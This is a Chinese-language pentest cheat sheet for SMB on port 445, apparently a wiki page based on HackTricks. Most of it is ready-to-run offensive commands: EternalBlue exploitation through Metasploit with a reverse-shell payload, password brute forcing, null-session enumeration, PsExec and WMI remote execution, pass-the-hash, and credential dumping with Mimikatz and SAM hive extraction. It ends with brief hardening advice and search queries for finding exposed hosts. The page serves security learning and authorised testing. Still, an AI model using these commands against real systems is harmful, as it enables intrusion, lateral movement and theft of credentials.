---
title: "445 - Smb"
weight: 445
date: "2026-03-08T22:45:09+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **Smb** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

> ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

## 漏洞概述

SMB（服务器 Message Block）是 Windows 文件共享协议，是内网渗透的核心攻击面。常见漏洞包括永恒之蓝、弱口令、信息泄露等。

**影响版本**: Windows 所有版本  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 信息收集

### 端口扫描

```bash
# Nmap 扫描
nmap -sV -p 445 <TARGET_IP>

# SMB 枚举脚本
nmap --script smb-enum-*,smb-vuln*,smb-brute <TARGET_IP>
```

### 共享枚举

```bash
# enum4linux 枚举
enum4linux -a <TARGET_IP>

# smbclient 枚举
smbclient -L //<TARGET_IP>/ -N
smbclient -L //<TARGET_IP>/ -U username%password

# crackmapexec 枚举
crackmapexec smb <TARGET_IP> --shares
```

---

## 漏洞利用

### 方法 1: 永恒之蓝 (MS17-010)

```bash
# 检测漏洞
nmap --script smb-vuln-ms17-010 <TARGET_IP>

# Metasploit 利用
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <TARGET_IP>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
```

### 方法 2: 弱口令爆破

```bash
# crackmapexec 爆破
crackmapexec smb <TARGET_IP> -u username -p password
crackmapexec smb <TARGET_IP> -u users.txt -p passwords.txt

# Hydra 爆破
hydra -l administrator -P rockyou.txt smb://<TARGET_IP>

# Nmap 脚本爆破
nmap --script smb-brute <TARGET_IP>
```

### 方法 3: 空会话

```bash
# 建立空会话
rpcclient -U "" <TARGET_IP>

# 枚举用户
rpcclient> enumdomusers

# 枚举组
rpcclient> enumdomgroups
```

### 方法 4: 共享访问

```bash
# 匿名访问共享
smbclient //<TARGET_IP>/share -N

# 认证访问
smbclient //<TARGET_IP>/share -U username%password

# 挂载共享
mount -t cifs //<TARGET_IP>/share /mnt/smb -o username=user,password=pass
```

---

## 内网横向移动

### PsExec 远程执行

```bash
# crackmapexec
crackmapexec smb <TARGET_IP> -u username -p password -X "whoami"

# impacket-psexec
impacket-psexec username:password@<TARGET_IP>

# PsExec (Windows)
PsExec.exe \\<TARGET_IP> -u username -p password cmd
```

### WMI 执行

```bash
# impacket-wmiexec
impacket-wmiexec username:password@<TARGET_IP>

# wmic (Windows)
wmic /node:<TARGET_IP> /user:username /password:password process call create "cmd.exe /c whoami"
```

### 哈希传递 (PtH)

```bash
# crackmapexec
crackmapexec smb <TARGET_IP> -u username -H <NTLM_HASH>

# impacket-psexec
impacket-psexec -hashes <LM_HASH>:<NTLM_HASH> username@<TARGET_IP>
```

---

## 凭据窃取

### Mimikatz

```bash
# 提取凭据
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
```

### 转储 SAM 文件

```bash
# 复制 SAM 文件
reg save hklm\system system.hiv
reg save hklm\sam sam.hiv

# 使用 secretsdump 提取
impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL
```

---

## 防御建议

1. **禁用 SMBv1**
   ```powershell
   Set-SmbServerConfiguration -EnableSMB1Protocol $false
   ```

2. **安装 MS17-010 补丁**

3. **禁用不必要的共享**

4. **启用网络级别身份验证 (NLA)**

5. **限制 SMB 端口访问**
   ```bash
   # 防火墙规则
   netsh advfirewall firewall add rule name="Block SMB" dir=in action=block protocol=TCP localport=445
   ```

---

## 参考链接

- [HackTricks - 445-smb](https://book.hacktricks.wiki/en/network-services-pentesting/445-smb.html)

---

---

---

### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="445"
```

#### Shodan

```bash
# Shodan 搜索语法
port:445
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:445
```

---

## 📖 参考资料

- [HackTricks - 445-smb](https://book.hacktricks.wiki/en/network-services-pentesting/445-smb.html)

